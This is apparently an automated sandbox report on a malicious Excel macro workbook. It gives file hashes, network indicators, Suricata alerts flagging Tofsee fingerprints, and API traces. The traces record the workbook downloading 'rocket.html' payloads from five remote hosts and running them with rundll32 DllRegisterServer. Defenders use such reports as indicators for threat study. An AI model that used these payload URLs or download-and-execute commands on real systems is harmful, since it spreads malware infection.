Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	April 17, 2021, 10:15 a.m.	April 17, 2021, 10:19 a.m.

Size	82.4KB
Type	Microsoft Excel 2007+
MD5	`f00e8a3cb014f7732fe0b5b685304ff2`
SHA256	`aa25a80decdc1a6ee00c6a851c6f577b320d247628d050d739dbf68e5f67b11b`
CRC32	`12E0981A`
ssdeep	`1536:V7MQ0CmrClu286aYbgBF+iy+fCn/dDuL7QQ64eyZJViW++poHn2:V4PF286aYbgE+qwXQQteyZJAW++42`
Yara	None matched

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\catalog-359462809.xlsm
4244
- rundll32.exe rundll32 ..\ghnrope.rue1,DllRegisterServer
  8324
- rundll32.exe rundll32 ..\ghnrope.rue2,DllRegisterServer
  3660
- rundll32.exe rundll32 ..\ghnrope.rue3,DllRegisterServer
  4836
- rundll32.exe rundll32 ..\ghnrope.rue4,DllRegisterServer
  2120
- rundll32.exe rundll32 ..\ghnrope.rue5,DllRegisterServer
  8868

Name	Response	Post-Analysis Lookup
casadopai.net.br	A 192.185.214.152	192.185.214.152
jerry-dibbert16ih.ru.com	A 34.95.253.189	34.95.253.189
alexandrea-friesen16ka.ru.com	A 34.95.253.189	34.95.253.189
ri.posgradocolumbia.edu.py	A 50.87.146.86	50.87.146.86
useragent20.barloggio.net	A 116.0.21.14	116.0.21.14

IP Address	Status	Action
116.0.21.14	Active	Moloch
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch
192.185.214.152	Active	Moloch
34.95.253.189	Active	Moloch
50.87.146.86	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49816 -> 50.87.146.86:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49809 -> 192.185.214.152:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49811 -> 192.185.214.152:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49815 -> 50.87.146.86:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.185.214.152:443 -> 192.168.56.102:49813	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 116.0.21.14:443 -> 192.168.56.102:49821	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49820 -> 116.0.21.14:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 50.87.146.86:443 -> 192.168.56.102:49817	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49819 -> 116.0.21.14:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Performs some HTTP requests (2 events)

request	GET http://jerry-dibbert16ih.ru.com/rocket.html
request	GET http://alexandrea-friesen16ka.ru.com/rocket.html

Allocates read-write-execute memory (usually to unpack itself) (18 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70af1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73321000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e5e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726d1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 17, 2021, 10:15 a.m.	process_identifier: 4244 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05db0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$catalog-359462809.xlsm

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 17, 2021, 10:15 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x0000039c filepath: C:\Users\test22\AppData\Local\Temp\~$catalog-359462809.xlsm desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$catalog-359462809.xlsm create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (5 events)

Time & API	Arguments	Status	Return
URLDownloadToFileW April 17, 2021, 10:15 a.m.	url: http://jerry-dibbert16ih.ru.com/rocket.html stack_pivoted: 0 filepath_r: ..\ghnrope.rue1 filepath: C:\Users\test22\ghnrope.rue1	1	0
URLDownloadToFileW April 17, 2021, 10:15 a.m.	url: http://alexandrea-friesen16ka.ru.com/rocket.html stack_pivoted: 0 filepath_r: ..\ghnrope.rue2 filepath: C:\Users\test22\ghnrope.rue2	1	0
URLDownloadToFileW April 17, 2021, 10:15 a.m.	url: https://casadopai.net.br/drms/rocket.html stack_pivoted: 0 filepath_r: ..\ghnrope.rue3 filepath: C:\Users\test22\ghnrope.rue3		2148270085
URLDownloadToFileW April 17, 2021, 10:15 a.m.	url: https://ri.posgradocolumbia.edu.py/drms/rocket.html stack_pivoted: 0 filepath_r: ..\ghnrope.rue4 filepath: C:\Users\test22\ghnrope.rue4		2148270085
URLDownloadToFileW April 17, 2021, 10:15 a.m.	url: https://useragent20.barloggio.net/drms/rocket.html stack_pivoted: 0 filepath_r: ..\ghnrope.rue5 filepath: C:\Users\test22\ghnrope.rue5		2148270085

One or more non-whitelisted processes were created (5 events)

parent_process	excel.exe	martian_process	rundll32 ..\ghnrope.rue3,DllRegisterServer
parent_process	excel.exe	martian_process	rundll32 ..\ghnrope.rue2,DllRegisterServer
parent_process	excel.exe	martian_process	rundll32 ..\ghnrope.rue5,DllRegisterServer
parent_process	excel.exe	martian_process	rundll32 ..\ghnrope.rue4,DllRegisterServer
parent_process	excel.exe	martian_process	rundll32 ..\ghnrope.rue1,DllRegisterServer

catalog-359462809.xlsm

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